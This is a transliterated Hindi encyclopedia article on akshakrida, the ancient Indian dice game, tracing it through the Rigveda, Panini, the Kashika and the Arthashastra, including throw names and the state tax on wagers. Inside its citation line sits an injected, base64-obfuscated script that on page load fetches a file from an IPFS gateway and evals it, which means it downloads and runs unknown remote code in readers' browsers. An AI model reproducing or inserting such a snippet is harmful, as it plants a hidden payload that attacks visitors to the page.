अक्षक्रीड़ा
akshakri da jue ka khel akshakri da ya akshadyoot ke nam se vikhyat hai. ved ke samay se lekar aj tak yah bharatiyoan ka atyant lokapriy khel raha hai. rrigved ke ek prakhyat sookt (10.34) mean kitav (jua di) apani durdasha ka rochak chitr khianchata hai ki jue mean har jane ke karan usaki bharya tak use nahian poochhati, doosaroan ki bat hi kya? vah svayan shiksha deta hai- akshai rma divy krishimith krishasv (rri. 10.34.13). mahabharat jaisa pralayankari yuddh bhi akshakri da ke parinamasvaroop hi hua. panini ki ashtadhyayi tatha kashika ke anushilan se akshakri da ke svaroop ka poora parichay milata hai. panini use akshik kahate haian. (ashta. 4.4.2). patanjali ne siddhahast dyootakar ke lie akshakitav ya akshadhoort shabdoan ka prayog kiya hai.
vaidik kal mean dyoot ki sadhan samagri ka nishchit parichay nahian milata, parantu panini ke samay (pancham shati ee. poo.) mean yah khel aksh tatha shalaka se khela jata tha. arthashastr ka kathan hai ki dyootadhyaksh ka yah kam hai ki vah jua diyoan ko rajy ki or se khelane ke lie aksh aur shalaka diya kare (3.20). kisi prachin kal mean aksh se tatpary bahe da (bibhitak) ke bij se tha. parantu panini kal mean aksh chaukani goti aur shalaka ayatakar goti hoti thi. in gotiyoan ki sankhya paanch hoti thi, aisa anuman taittiriy brahman (1.7.10) tatha ashtadhyayi se bhalibhaanti lagaya ja sakata hai. brahmanoan ke granthoan mean inake nam bhi paanch the- aksharaj, krit, treta, dvapar tatha kali. kashika isi karan is khel ko panchika dyoot ke nam se pukarati hai (ashta. 2.1.10 par vritti). panini ke akshashalaka sankhya parina (2.1.10) sootr mean un dashaoan ka ullekh hai jinamean goti pheankane vale ki har hoti thi aur is sthiti ki soochana ke lie akshapari, shalakapari, ekapari, dvipari, tripari tatha chatushpari padoan ka prayog sanskrit mean kiya jata tha.
kashika ke varnan mean spasht hai ki yadi uparyukt paanchoan gotiyaan chitt girean ya patt girean, to donoan avasthaoan mean goti pheankane vale ki jit hoti thi (yatr yada sarve uttan patanti avachyo va, tada patayita jayati. tasyaivasy vidyatonyatha pate jayate- kashika 2.1.10 par). arthath yadi ek goti any gotiyoan ki avastha se bhinn hokar chitt ya patt p de, to har hoti thi aur isake lie ekapari shabd prayukt hote the. isi prakar do gotiyoan se hone vali har ko dvipari tin se tripari tatha char ki har ko chatushpari kahate the. jitane ka daanv krit aur harane ka daanv kali kahalata tha. bauddh granthoan mean bhi krit tatha kali ka yah virodh sanketit kiya gaya hai (kali hi dhiranan, katan muganan).
jue mean baji bhi lagaee jati hai aur is dravy ke lie panini ne glah shabd ki siddhi mani hai (akshe shu glah, ashta. 3.3.70). mahabharat ke prakhyat jua di shakuni ka yah kahana thik hi hai ki baji lagane ke karan hi jua logoan mean itana badanam hai. mahabharat, arthashastr adi granthoan se pata chalata hai ki jua sabha mean khela jata tha. smriti granthoan mean jua khelane ke niyamoan ka poora parichay diya gaya hai. arthashastr ke anusar jua di ko apane khel ke lie rajy ko dravy dena p data tha. baji lagae ge dhan ka paanch pratishat rajy ko kar ke roop mean prapt hota tha. pancham shati mean ujjayini mean isake vipul prachar ki soochana mrichchhakatik natak se hamean upalabdh hoti hai.[1]
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tika tippani aur sandarbh
san. gran.- vedik iandeks, bhag 1, 1958; vasudev sharan agraval paninikalin bharat, kashi, 1956.
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 68-69 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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